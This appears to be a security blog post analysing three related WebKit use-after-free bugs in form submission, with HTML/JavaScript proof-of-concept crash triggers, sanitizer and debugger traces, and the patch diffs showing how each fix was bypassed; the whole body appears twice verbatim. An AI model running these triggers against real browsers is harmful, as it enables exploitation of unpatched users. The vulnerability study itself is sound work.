Three UaFs when iterating through HTMLFormElement::associatedElements
First of all, lets look at CVE-2017-2460. It was reported in 2017-Jan-19.
PoC:
=================================================================
<script>
function go() {
object.name = "foo";
input.autofocus = true;
output.appendChild(input);
form.submit();
}
function eventhandler() {
for(var i=0;i<100;i++) {
var e = document.createElement("input");
form.appendChild(e);
}
}
</script>
<body onload=go()>
<form id="form">
<object id="object">
<output id="output">a</output>
<input id="input" onfocus="eventhandler()">
=================================================================
Patch:
@@ -506,7 +506,9 @@ bool HTMLObjectElement::appendFormData(FormDataList& encoding, bool)
if (name().isEmpty())
return false;
- Widget* widget = pluginWidget();
+ // Use PluginLoadingPolicy::DoNotLoad here or it would fire JS events synchronously
+ // which would not be safe here.
+ auto* widget = pluginWidget(PluginLoadingPolicy::DoNotLoad);
if (!is<PluginViewBase>(widget))
return false;
String value;
@@ -190,18 +191,22 @@ Ref<FormSubmission> FormSubmission::create(HTMLFormElement& form, const Attribut
bool containsPasswordData = false;
- for (auto& control : form.associatedElements()) {
- auto& element = control->asHTMLElement();
- if (!element.isDisabledFormControl())
- control->appendFormData(domFormData, isMultiPartForm);
- if (is<HTMLInputElement>(element)) {
- auto& input = downcast<HTMLInputElement>(element);
- if (input.isTextField()) {
- formValues.append({ input.name().string(), input.value() });
- input.addSearchResult();
+ {
+ NoEventDispatchAssertion noEventDispatchAssertion;
+
+ for (auto& control : form.associatedElements()) {
+ auto& element = control->asHTMLElement();
+ if (!element.isDisabledFormControl())
+ control->appendFormData(domFormData, isMultiPartForm);
+ if (is<HTMLInputElement>(element)) {
+ auto& input = downcast<HTMLInputElement>(element);
+ if (input.isTextField()) {
+ formValues.append({ input.name().string(), input.value() });
+ input.addSearchResult();
+ }
+ if (input.isPasswordField() && !input.value().isEmpty())
+ containsPasswordData = true;
}
- if (input.isPasswordField() && !input.value().isEmpty())
- containsPasswordData = true;
}
}
This a simple bug. They add pluginWidget(PluginLoadingPolicy::DoNotLoad) to prevent HTMLObjectElement::appendFormData() firing events synchronously, and a security assertion to catch JS events.
After patching, the PoC will not trigger crash any more. But that's not robust enough, in another path it could still work - we can use HTMLTextAreaElement::appendFormData() instead of HTMLObjectElement::appendFormData(). now we are able to clobber the vector of FormAssociatedElements* we're currently iterating over by inserting new form controls beneath the form element we're in the process of submitting.
So in CVE-2017-13791(reported in 2017-Sep-5), the patch was bypassed:
=================================================================
<script>
function jsfuzzer() {
textarea1.setRangeText("foo");
textarea2.autofocus = true;
textarea1.name = "foo";
form.insertBefore(textarea2, form.firstChild);
form.submit();
}
function eventhandler2() {
for(var i=0;i<100;i++) {
var e = document.createElement("input");
form.appendChild(e);
}
}
</script>
<body onload=jsfuzzer()>
<form id="form" onchange="eventhandler2()">
<textarea id="textarea1">a</textarea>
<object id="object"></object>
<textarea id="textarea2">b</textarea>
=================================================================
After debug, we can see that WebCore::FormAssociatedElement* was deallocated by appendChild() method:
#0 0x103670044 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/9.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x5a044)
#1 0x11465dbc0 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/murasaki/_release/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1ea2bc0)
#2 0x10651b537 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::expandCapacity(unsigned long, WebCore::FormAssociatedElement**) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xdf3537)
#3 0x106517eff in void WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::insert<WebCore::FormAssociatedElement*&>(unsigned long, WebCore::FormAssociatedElement*&&&) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xdefeff)
#4 0x106517d6f in WebCore::HTMLFormElement::registerFormElement(WebCore::FormAssociatedElement*) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xdefd6f)
#5 0x106276c98 in WebCore::FormAssociatedElement::setForm(WebCore::HTMLFormElement*) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb4ec98)
#6 0x1062775fe in WebCore::FormAssociatedElement::resetFormOwner() (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb4f5fe)
#7 0x10653719d in WebCore::HTMLInputElement::finishedInsertingSubtree() (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe0f19d)
#8 0x105b12378 in WebCore::ContainerNode::notifyChildInserted(WebCore::Node&, WebCore::ContainerNode::ChildChange const&) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ea378)
#9 0x105b11ecf in WebCore::ContainerNode::updateTreeAfterInsertion(WebCore::Node&, WebCore::ContainerNode::ReplacedAllChildren) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3e9ecf)
#10 0x105b11798 in WebCore::ContainerNode::appendChildWithoutPreInsertionValidityCheck(WebCore::Node&) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3e9798)
#11 0x105b14b54 in WebCore::ContainerNode::appendChild(WebCore::Node&) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecb54)
This happens because in the process of iterating over form.associatedElements() during form submission in FormSubmission::create, the page may cause us to clobber the vector of FormAssociatedElements* we're currently iterating over by inserting new form controls beneath the form element we're in the process of submitting. It is because FormSubmission::create calls HTMLTextAreaElement::appendFormData, which requires layout to be up to date, which in turn makes us updateLayout() and set focus, which fires a `change` event, upon which the page's JavaScript inserts additional DOM nodes into the form, modifying the vector of associated elements.
To mitigate this, instead of iterating over HTMLFormElement::associatedElements(), which returns a reference to the HTMLFormElement's actual m_associatedElements vector, we iterate over a new vector of Ref<FormAssociatedElement>s created from m_associatedElements:
@@ -191,22 +191,22 @@ Ref<FormSubmission> FormSubmission::create(HTMLFormElement& form, const Attribut
StringPairVector formValues;
bool containsPasswordData = false;
- {
- NoEventDispatchAssertion noEventDispatchAssertion;
-
- for (auto& control : form.associatedElements()) {
- auto& element = control->asHTMLElement();
- if (!element.isDisabledFormControl())
- control->appendFormData(domFormData, isMultiPartForm);
- if (is<HTMLInputElement>(element)) {
- auto& input = downcast<HTMLInputElement>(element);
- if (input.isTextField()) {
- formValues.append({ input.name().string(), input.value() });
- input.addSearchResult();
- }
- if (input.isPasswordField() && !input.value().isEmpty())
- containsPasswordData = true;
+ auto protectedAssociatedElements = form.associatedElements().map([] (FormAssociatedElement* rawElement) -> Ref<FormAssociatedElement> {
+ return *rawElement;
+ });
+
+ for (auto& control : protectedAssociatedElements) {
+ auto& element = control->asHTMLElement();
+ if (!element.isDisabledFormControl())
+ control->appendFormData(domFormData, isMultiPartForm);
+ if (is<HTMLInputElement>(element)) {
+ auto& input = downcast<HTMLInputElement>(element);
+ if (input.isTextField()) {
+ formValues.append({ input.name(), input.value() });
+ input.addSearchResult();
}
+ if (input.isPasswordField() && !input.value().isEmpty())
+ containsPasswordData = true;
}
}
Is this really solve the problem? If we change another path, will it be bypass?
The answer is yes:
=================================================================
<script>
function jsfuzzer() {
textarea1.setRangeText("foo");
textarea2.autofocus = true;
textarea1.name = "foo";
form.insertBefore(textarea2, form.firstChild);
new FormData(form);
}
function eventhandler2() {
for(var i=0;i<100;i++) {
var e = document.createElement("input");
form.appendChild(e);
}
}
</script>
<body onload=jsfuzzer()>
<form id="form" onchange="eventhandler2()">
<textarea id="textarea1">a</textarea>
<object id="object"></object>
<textarea id="textarea2">b</textarea>
=================================================================
How does it happen?
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 17.1
* frame #0: 0x0000000118c31154 WebCore`WebCore::ContainerNode::updateTreeAfterInsertion(this=0x00006100000a5e40, child=0x000060b0001092d0, replacedAllChildren=No) at ContainerNode.cpp:875
frame #1: 0x0000000118c30517 WebCore`WebCore::ContainerNode::appendChildWithoutPreInsertionValidityCheck(this=0x00006100000a5e40, newChild=0x000060b0001092d0) at ContainerNode.cpp:763
frame #2: 0x0000000118c34ec4 WebCore`WebCore::ContainerNode::appendChild(this=0x00006100000a5e40, newChild=0x000060b0001092d0) at ContainerNode.cpp:725
frame #3 ~ frame #40: ......
frame #41: 0x00000001199bf81b WebCore`WebCore::Element::focus(this=0x000061100042af80, restorePreviousSelection=true, direction=FocusDirectionNone) at Element.cpp:2454
frame #42: 0x000000011a4e8fcf WebCore`WebCore::HTMLFormControlElement::didAttachRenderers(this=0x00006020004caeb8)::$_1::operator()() const at HTMLFormControlElement.cpp:247
frame #43: 0x000000011a4e8e89 WebCore`WTF::Function<void ()>::CallableWrapper<WebCore::HTMLFormControlElement::didAttachRenderers(this=0x00006020004caeb0)::$_1>::call() at Function.h:101
frame #44: 0x00000001183972e3 WebCore`WTF::Function<void ()>::operator(this=0x000060c0006e2248)() const at Function.h:56
frame #45: 0x000000011f493642 WebCore`WebCore::Style::PostResolutionCallbackDisabler::~PostResolutionCallbackDisabler(this=0x00007fff502b91c0) at StyleTreeResolver.cpp:564
frame #46: 0x000000011f493755 WebCore`WebCore::Style::PostResolutionCallbackDisabler::~PostResolutionCallbackDisabler(this=0x00007fff502b91c0) at StyleTreeResolver.cpp:559
frame #47: 0x0000000119598156 WebCore`WebCore::Document::resolveStyle(this=0x000062000009d080, type=Normal) at Document.cpp:1823
frame #48: 0x000000011957b24b WebCore`WebCore::Document::updateStyleIfNeeded(this=0x000062000009d080) at Document.cpp:1903
frame #49: 0x000000011958e61a WebCore`WebCore::Document::updateLayout(this=0x000062000009d080) at Document.cpp:1923
frame #50: 0x000000011a6e231c WebCore`WebCore::HTMLTextAreaElement::appendFormData(this=0x000061100042ad00, encoding=0x0000604000651390, (null)=true) at HTMLTextAreaElement.cpp:225
frame #51: 0x000000011a6e254b WebCore`non-virtual thunk to WebCore::HTMLTextAreaElement::appendFormData(this=0x000061100042ad00, encoding=0x0000604000651390, (null)=true) at HTMLTextAreaElement.cpp:0
frame #52: 0x00000001197bddee WebCore`WebCore::DOMFormData::DOMFormData(this=0x0000604000651390, form=0x000061100042abc0) at DOMFormData.cpp:52
frame #53: 0x00000001197bdefd WebCore`WebCore::DOMFormData::DOMFormData(this=0x0000604000651390, form=0x000061100042abc0) at DOMFormData.cpp:46
frame #54: 0x000000011b50c4a6 WebCore`WebCore::DOMFormData::create(form=0x000061100042abc0) at DOMFormData.h:45
So we can see this happens because HTMLFormElement::associatedElements returns a const reference to a Vector of raw FormAssociatedElement pointers. In various call sites that iterate through these associated elements using this function, some require synchronous layout updates per iteration, which can lead to a bad time when combined with the first observation.
To address this, they introduce HTMLFormElement::copyAssociatedElementsVector. This returns a new vector containing strong Refs to each associated element. From each call site that may trigger synchronous layout and execute arbitrary script while iterating over associated form elements, we instead use iterate over protected FormAssociatedElements:
@@ -47,7 +47,7 @@ DOMFormData::DOMFormData(HTMLFormElement* form)
if (!form)
return;
- for (auto& element : form->associatedElements()) {
+ for (auto& element : form->copyAssociatedElementsVector()) {
if (!element->asHTMLElement().isDisabledFormControl())
element->appendFormData(*this, true);
}
@@ -454,17 +456,17 @@ void FormController::restoreControlStateFor(HTMLFormControlElementWithState& con
void FormController::restoreControlStateIn(HTMLFormElement& form)
{
- for (auto& element : form.associatedElements()) {
- if (!is<HTMLFormControlElementWithState>(*element))
+ for (auto& element : form.copyAssociatedElementsVector()) {
+ if (!is<HTMLFormControlElementWithState>(element.get()))
continue;
- auto control = makeRef(downcast<HTMLFormControlElementWithState>(*element));
- if (!control->shouldSaveAndRestoreFormControlState())
+ auto& control = downcast<HTMLFormControlElementWithState>(element.get());
+ if (!control.shouldSaveAndRestoreFormControlState())
continue;
if (ownerFormForState(control) != &form)
continue;
auto state = takeStateForFormElement(control);
if (!state.isEmpty())
- control->restoreFormControlState(state);
+ control.restoreFormControlState(state);
}
}
@@ -62,12 +63,20 @@ std::optional<Variant<RefPtr<RadioNodeList>, RefPtr<Element>>> HTMLFormControlsC
return Variant<RefPtr<RadioNodeList>, RefPtr<Element>> { RefPtr<RadioNodeList> { ownerNode().radioNodeList(name) } };
}
-const Vector<FormAssociatedElement*>& HTMLFormControlsCollection::formControlElements() const
+const Vector<FormAssociatedElement*>& HTMLFormControlsCollection::unsafeFormControlElements() const
{
ASSERT(is<HTMLFormElement>(ownerNode()) || is<HTMLFieldSetElement>(ownerNode()));
if (is<HTMLFormElement>(ownerNode()))
- return downcast<HTMLFormElement>(ownerNode()).associatedElements();
- return downcast<HTMLFieldSetElement>(ownerNode()).associatedElements();
+ return downcast<HTMLFormElement>(ownerNode()).unsafeAssociatedElements();
+ return downcast<HTMLFieldSetElement>(ownerNode()).unsafeAssociatedElements();
+}
+
+Vector<Ref<FormAssociatedElement>> HTMLFormControlsCollection::copyFormControlElementsVector() const
+{
+ ASSERT(is<HTMLFormElement>(ownerNode()) || is<HTMLFieldSetElement>(ownerNode()));
+ if (is<HTMLFormElement>(ownerNode()))
+ return downcast<HTMLFormElement>(ownerNode()).copyAssociatedElementsVector();
+ return downcast<HTMLFieldSetElement>(ownerNode()).copyAssociatedElementsVector();
}
The same kind of bug was patched 3 times. It dose look a bit silly, but it is also dangerous. Callbacks can have side-effect to access(free) the object itself. Including in iterator, TOCTOU can also be break.
PoC:
=================================================================
<script>
function go() {
object.name = "foo";
input.autofocus = true;
output.appendChild(input);
form.submit();
}
function eventhandler() {
for(var i=0;i<100;i++) {
var e = document.createElement("input");
form.appendChild(e);
}
}
</script>
<body onload=go()>
<form id="form">
<object id="object">
<output id="output">a</output>
<input id="input" onfocus="eventhandler()">
=================================================================
Patch:
@@ -506,7 +506,9 @@ bool HTMLObjectElement::appendFormData(FormDataList& encoding, bool)
if (name().isEmpty())
return false;
- Widget* widget = pluginWidget();
+ // Use PluginLoadingPolicy::DoNotLoad here or it would fire JS events synchronously
+ // which would not be safe here.
+ auto* widget = pluginWidget(PluginLoadingPolicy::DoNotLoad);
if (!is<PluginViewBase>(widget))
return false;
String value;
@@ -190,18 +191,22 @@ Ref<FormSubmission> FormSubmission::create(HTMLFormElement& form, const Attribut
bool containsPasswordData = false;
- for (auto& control : form.associatedElements()) {
- auto& element = control->asHTMLElement();
- if (!element.isDisabledFormControl())
- control->appendFormData(domFormData, isMultiPartForm);
- if (is<HTMLInputElement>(element)) {
- auto& input = downcast<HTMLInputElement>(element);
- if (input.isTextField()) {
- formValues.append({ input.name().string(), input.value() });
- input.addSearchResult();
+ {
+ NoEventDispatchAssertion noEventDispatchAssertion;
+
+ for (auto& control : form.associatedElements()) {
+ auto& element = control->asHTMLElement();
+ if (!element.isDisabledFormControl())
+ control->appendFormData(domFormData, isMultiPartForm);
+ if (is<HTMLInputElement>(element)) {
+ auto& input = downcast<HTMLInputElement>(element);
+ if (input.isTextField()) {
+ formValues.append({ input.name().string(), input.value() });
+ input.addSearchResult();
+ }
+ if (input.isPasswordField() && !input.value().isEmpty())
+ containsPasswordData = true;
}
- if (input.isPasswordField() && !input.value().isEmpty())
- containsPasswordData = true;
}
}
After patching, the PoC will not trigger crash any more. But that's not robust enough, in another path it could still work - we can use HTMLTextAreaElement::appendFormData() instead of HTMLObjectElement::appendFormData(). now we are able to clobber the vector of FormAssociatedElements* we're currently iterating over by inserting new form controls beneath the form element we're in the process of submitting.
So in CVE-2017-13791(reported in 2017-Sep-5), the patch was bypassed:
=================================================================
<script>
function jsfuzzer() {
textarea1.setRangeText("foo");
textarea2.autofocus = true;
textarea1.name = "foo";
form.insertBefore(textarea2, form.firstChild);
form.submit();
}
function eventhandler2() {
for(var i=0;i<100;i++) {
var e = document.createElement("input");
form.appendChild(e);
}
}
</script>
<body onload=jsfuzzer()>
<form id="form" onchange="eventhandler2()">
<textarea id="textarea1">a</textarea>
<object id="object"></object>
<textarea id="textarea2">b</textarea>
=================================================================
After debug, we can see that WebCore::FormAssociatedElement* was deallocated by appendChild() method:
#0 0x103670044 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/9.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x5a044)
#1 0x11465dbc0 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/murasaki/_release/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1ea2bc0)
#2 0x10651b537 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::expandCapacity(unsigned long, WebCore::FormAssociatedElement**) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xdf3537)
#3 0x106517eff in void WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::insert<WebCore::FormAssociatedElement*&>(unsigned long, WebCore::FormAssociatedElement*&&&) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xdefeff)
#4 0x106517d6f in WebCore::HTMLFormElement::registerFormElement(WebCore::FormAssociatedElement*) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xdefd6f)
#5 0x106276c98 in WebCore::FormAssociatedElement::setForm(WebCore::HTMLFormElement*) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb4ec98)
#6 0x1062775fe in WebCore::FormAssociatedElement::resetFormOwner() (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb4f5fe)
#7 0x10653719d in WebCore::HTMLInputElement::finishedInsertingSubtree() (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe0f19d)
#8 0x105b12378 in WebCore::ContainerNode::notifyChildInserted(WebCore::Node&, WebCore::ContainerNode::ChildChange const&) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ea378)
#9 0x105b11ecf in WebCore::ContainerNode::updateTreeAfterInsertion(WebCore::Node&, WebCore::ContainerNode::ReplacedAllChildren) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3e9ecf)
#10 0x105b11798 in WebCore::ContainerNode::appendChildWithoutPreInsertionValidityCheck(WebCore::Node&) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3e9798)
#11 0x105b14b54 in WebCore::ContainerNode::appendChild(WebCore::Node&) (/Users/murasaki/_release/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecb54)
This happens because in the process of iterating over form.associatedElements() during form submission in FormSubmission::create, the page may cause us to clobber the vector of FormAssociatedElements* we're currently iterating over by inserting new form controls beneath the form element we're in the process of submitting. It is because FormSubmission::create calls HTMLTextAreaElement::appendFormData, which requires layout to be up to date, which in turn makes us updateLayout() and set focus, which fires a `change` event, upon which the page's JavaScript inserts additional DOM nodes into the form, modifying the vector of associated elements.
To mitigate this, instead of iterating over HTMLFormElement::associatedElements(), which returns a reference to the HTMLFormElement's actual m_associatedElements vector, we iterate over a new vector of Ref<FormAssociatedElement>s created from m_associatedElements:
@@ -191,22 +191,22 @@ Ref<FormSubmission> FormSubmission::create(HTMLFormElement& form, const Attribut
StringPairVector formValues;
bool containsPasswordData = false;
- {
- NoEventDispatchAssertion noEventDispatchAssertion;
-
- for (auto& control : form.associatedElements()) {
- auto& element = control->asHTMLElement();
- if (!element.isDisabledFormControl())
- control->appendFormData(domFormData, isMultiPartForm);
- if (is<HTMLInputElement>(element)) {
- auto& input = downcast<HTMLInputElement>(element);
- if (input.isTextField()) {
- formValues.append({ input.name().string(), input.value() });
- input.addSearchResult();
- }
- if (input.isPasswordField() && !input.value().isEmpty())
- containsPasswordData = true;
+ auto protectedAssociatedElements = form.associatedElements().map([] (FormAssociatedElement* rawElement) -> Ref<FormAssociatedElement> {
+ return *rawElement;
+ });
+
+ for (auto& control : protectedAssociatedElements) {
+ auto& element = control->asHTMLElement();
+ if (!element.isDisabledFormControl())
+ control->appendFormData(domFormData, isMultiPartForm);
+ if (is<HTMLInputElement>(element)) {
+ auto& input = downcast<HTMLInputElement>(element);
+ if (input.isTextField()) {
+ formValues.append({ input.name(), input.value() });
+ input.addSearchResult();
}
+ if (input.isPasswordField() && !input.value().isEmpty())
+ containsPasswordData = true;
}
}
Is this really solve the problem? If we change another path, will it be bypass?
The answer is yes:
=================================================================
<script>
function jsfuzzer() {
textarea1.setRangeText("foo");
textarea2.autofocus = true;
textarea1.name = "foo";
form.insertBefore(textarea2, form.firstChild);
new FormData(form);
}
function eventhandler2() {
for(var i=0;i<100;i++) {
var e = document.createElement("input");
form.appendChild(e);
}
}
</script>
<body onload=jsfuzzer()>
<form id="form" onchange="eventhandler2()">
<textarea id="textarea1">a</textarea>
<object id="object"></object>
<textarea id="textarea2">b</textarea>
=================================================================
How does it happen?
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 17.1
* frame #0: 0x0000000118c31154 WebCore`WebCore::ContainerNode::updateTreeAfterInsertion(this=0x00006100000a5e40, child=0x000060b0001092d0, replacedAllChildren=No) at ContainerNode.cpp:875
frame #1: 0x0000000118c30517 WebCore`WebCore::ContainerNode::appendChildWithoutPreInsertionValidityCheck(this=0x00006100000a5e40, newChild=0x000060b0001092d0) at ContainerNode.cpp:763
frame #2: 0x0000000118c34ec4 WebCore`WebCore::ContainerNode::appendChild(this=0x00006100000a5e40, newChild=0x000060b0001092d0) at ContainerNode.cpp:725
frame #3 ~ frame #40: ......
frame #41: 0x00000001199bf81b WebCore`WebCore::Element::focus(this=0x000061100042af80, restorePreviousSelection=true, direction=FocusDirectionNone) at Element.cpp:2454
frame #42: 0x000000011a4e8fcf WebCore`WebCore::HTMLFormControlElement::didAttachRenderers(this=0x00006020004caeb8)::$_1::operator()() const at HTMLFormControlElement.cpp:247
frame #43: 0x000000011a4e8e89 WebCore`WTF::Function<void ()>::CallableWrapper<WebCore::HTMLFormControlElement::didAttachRenderers(this=0x00006020004caeb0)::$_1>::call() at Function.h:101
frame #44: 0x00000001183972e3 WebCore`WTF::Function<void ()>::operator(this=0x000060c0006e2248)() const at Function.h:56
frame #45: 0x000000011f493642 WebCore`WebCore::Style::PostResolutionCallbackDisabler::~PostResolutionCallbackDisabler(this=0x00007fff502b91c0) at StyleTreeResolver.cpp:564
frame #46: 0x000000011f493755 WebCore`WebCore::Style::PostResolutionCallbackDisabler::~PostResolutionCallbackDisabler(this=0x00007fff502b91c0) at StyleTreeResolver.cpp:559
frame #47: 0x0000000119598156 WebCore`WebCore::Document::resolveStyle(this=0x000062000009d080, type=Normal) at Document.cpp:1823
frame #48: 0x000000011957b24b WebCore`WebCore::Document::updateStyleIfNeeded(this=0x000062000009d080) at Document.cpp:1903
frame #49: 0x000000011958e61a WebCore`WebCore::Document::updateLayout(this=0x000062000009d080) at Document.cpp:1923
frame #50: 0x000000011a6e231c WebCore`WebCore::HTMLTextAreaElement::appendFormData(this=0x000061100042ad00, encoding=0x0000604000651390, (null)=true) at HTMLTextAreaElement.cpp:225
frame #51: 0x000000011a6e254b WebCore`non-virtual thunk to WebCore::HTMLTextAreaElement::appendFormData(this=0x000061100042ad00, encoding=0x0000604000651390, (null)=true) at HTMLTextAreaElement.cpp:0
frame #52: 0x00000001197bddee WebCore`WebCore::DOMFormData::DOMFormData(this=0x0000604000651390, form=0x000061100042abc0) at DOMFormData.cpp:52
frame #53: 0x00000001197bdefd WebCore`WebCore::DOMFormData::DOMFormData(this=0x0000604000651390, form=0x000061100042abc0) at DOMFormData.cpp:46
frame #54: 0x000000011b50c4a6 WebCore`WebCore::DOMFormData::create(form=0x000061100042abc0) at DOMFormData.h:45
So we can see this happens because HTMLFormElement::associatedElements returns a const reference to a Vector of raw FormAssociatedElement pointers. In various call sites that iterate through these associated elements using this function, some require synchronous layout updates per iteration, which can lead to a bad time when combined with the first observation.
To address this, they introduce HTMLFormElement::copyAssociatedElementsVector. This returns a new vector containing strong Refs to each associated element. From each call site that may trigger synchronous layout and execute arbitrary script while iterating over associated form elements, we instead use iterate over protected FormAssociatedElements:
@@ -47,7 +47,7 @@ DOMFormData::DOMFormData(HTMLFormElement* form)
if (!form)
return;
- for (auto& element : form->associatedElements()) {
+ for (auto& element : form->copyAssociatedElementsVector()) {
if (!element->asHTMLElement().isDisabledFormControl())
element->appendFormData(*this, true);
}
@@ -454,17 +456,17 @@ void FormController::restoreControlStateFor(HTMLFormControlElementWithState& con
void FormController::restoreControlStateIn(HTMLFormElement& form)
{
- for (auto& element : form.associatedElements()) {
- if (!is<HTMLFormControlElementWithState>(*element))
+ for (auto& element : form.copyAssociatedElementsVector()) {
+ if (!is<HTMLFormControlElementWithState>(element.get()))
continue;
- auto control = makeRef(downcast<HTMLFormControlElementWithState>(*element));
- if (!control->shouldSaveAndRestoreFormControlState())
+ auto& control = downcast<HTMLFormControlElementWithState>(element.get());
+ if (!control.shouldSaveAndRestoreFormControlState())
continue;
if (ownerFormForState(control) != &form)
continue;
auto state = takeStateForFormElement(control);
if (!state.isEmpty())
- control->restoreFormControlState(state);
+ control.restoreFormControlState(state);
}
}
@@ -62,12 +63,20 @@ std::optional<Variant<RefPtr<RadioNodeList>, RefPtr<Element>>> HTMLFormControlsC
return Variant<RefPtr<RadioNodeList>, RefPtr<Element>> { RefPtr<RadioNodeList> { ownerNode().radioNodeList(name) } };
}
-const Vector<FormAssociatedElement*>& HTMLFormControlsCollection::formControlElements() const
+const Vector<FormAssociatedElement*>& HTMLFormControlsCollection::unsafeFormControlElements() const
{
ASSERT(is<HTMLFormElement>(ownerNode()) || is<HTMLFieldSetElement>(ownerNode()));
if (is<HTMLFormElement>(ownerNode()))
- return downcast<HTMLFormElement>(ownerNode()).associatedElements();
- return downcast<HTMLFieldSetElement>(ownerNode()).associatedElements();
+ return downcast<HTMLFormElement>(ownerNode()).unsafeAssociatedElements();
+ return downcast<HTMLFieldSetElement>(ownerNode()).unsafeAssociatedElements();
+}
+
+Vector<Ref<FormAssociatedElement>> HTMLFormControlsCollection::copyFormControlElementsVector() const
+{
+ ASSERT(is<HTMLFormElement>(ownerNode()) || is<HTMLFieldSetElement>(ownerNode()));
+ if (is<HTMLFormElement>(ownerNode()))
+ return downcast<HTMLFormElement>(ownerNode()).copyAssociatedElementsVector();
+ return downcast<HTMLFieldSetElement>(ownerNode()).copyAssociatedElementsVector();
}
The same kind of bug was patched 3 times. It dose look a bit silly, but it is also dangerous. Callbacks can have side-effect to access(free) the object itself. Including in iterator, TOCTOU can also be break.
Comments
Post a Comment